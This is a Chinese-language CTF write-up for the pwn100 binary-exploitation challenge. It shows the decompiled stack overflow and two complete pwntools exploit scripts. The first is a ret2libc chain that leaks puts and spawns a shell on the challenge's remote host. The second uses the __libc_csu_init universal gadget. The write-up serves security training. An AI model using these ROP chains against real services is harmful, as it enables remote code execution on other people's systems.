没有libcsearcher只有手动查找库了
这次是攻防世界中的一道pwn100,一直纠结,最后还是弄懂了
下面理清一下前后做题的思路
万能gadget
64位下的一个高级东西,通过栈溢出返回至part2处,发现上控制下面的寄存器进而控制上面的寄存器。控制jnz发生偏移,然后返回下面retn继续控制其他的函数
下面是pwn100的ida
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
sub_40068E();
return 0LL;
}
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
sub_40068E();
return 0LL;
}
__int64 __fastcall sub_40063D(__int64 a1, int a2)
{
__int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
result = i;
if ( (int)i >= a2 )
break;
read(0, (void *)((int)i + a1), 1uLL);
}
return result;
}
一步一步进去发现。就是一个read函数的溢出。
下面是思路
最初想试试最新学的csu,想用read进行地址泄露,发现read原来和write不一样,不能将数据写到输出流中,这里想浪费了很多时间。
之后尝试用put,发现根本不行,因为r15只有传给rdi的低八位,而一个函数的地址又大于八位,所以只有老实找找pop_rdi来进行泄露.
还好找到了。
通过
#leak puts_addr
payload1 = 'a'*0x48 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
payload1 = payload1.ljust(200, 'b')
p.send(payload1)
p.recvuntil('bye~\x0a')
puts_addr = u64(p.recvuntil('\x0a')[:-1].ljust(8, '\x00'))
print hex(puts_addr)
类似的多弄几个确定库
发现有俩个库,检查一下都是一样的再进入下一步
现在可以直接获得system还有bin
再控制程序返回start
再次执行system就好了呀
# coding=utf-8
from pwn import *
#from LibcSearcher import *
context.log_level = 'debug'
p = remote('111.200.241.244',38419)
elf = ELF('./pwn100')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read_got = elf.got['read']
read_plt = elf.plt['read']
pop_rdi = 0x0000000000400763
part1 = 0x040075A
part2 = 0x0400740
main = 0x000000000400550
#leak puts_addr
payload1 = 'a'*0x48 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
payload1 = payload1.ljust(200, 'b')
p.send(payload1)
p.recvuntil('bye~\x0a')
puts_addr = hex(u64(p.recvuntil('\x0a')[:6].ljust(8, '\x00')))
system_addr = eval(puts_addr) -0x2a300
binsh_addr = eval(puts_addr) + 0x11d6c7
#pause()
#get shell
print 'get shell:'
payload3 = 'a'*0x48 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
payload3 = payload3.ljust(200, 'b')
p.send(payload3)
p.interactive()
当然,这个没有利用csu,所以换一下,注意,利用csu的话,rdi只有第八位能用。所以参数的地址必须在低八位上
发现有地方有权限可以写,那么我们利用read函数和csu进行连续写入
然后就是
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
payload = p64(part1) # part1 entry pop_rbx_rbp_r12_r13_r14_r15_ret
payload += p64(0x0) # rbx must be 0x0
payload += p64(0x1) # rbp must be 0x1
payload += p64(jmp2) # r12 jump to
payload += p64(arg3) # r13 -> rdx arg3
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg1) # r15d -> edi arg1
payload += p64(part2) # part2 entry will call [r12+rbx*0x8]
payload += 'A' * 56 # junk 6*8+8=56
return payload
def pwn():
payload = "A"*(0x40 + 8)
payload += com_gadget(part1, part2, elf.got['read'], 0,binsh_addr,8)
payload += p64(main_addr)
payload = payload.ljust(200, "A")
io.send(payload)
io.recvuntil("bye~\n")
io.send('/bin/sh\x00')
payload = "A"*(0x40 + 8)
payload += com_gadget(part1, part2, elf.got['read'], 0,system_plt,8)
payload += p64(main_addr)
payload = payload.ljust(200, "A")
io.send(payload)
io.recvuntil("bye~\n")
io.send(p64(system_addr))
#gdb.attach(io)
payload = "A"*(0x40 + 8)#call
payload += com_gadget(part1, part2, system_plt, binsh_addr)
payload = payload.ljust(200, "A")
io.send(payload)
io.interactive()
ps:程序运行很快,所以得先recv(‘bye~’).再次获得数据,利用main/start重复程序(建议start)
利用这俩个函数就可以成功获得shell
因为是学会利用csu,所以会多次一举。
(以上内容很多来自于经验贴,如有侵权,请联系我...)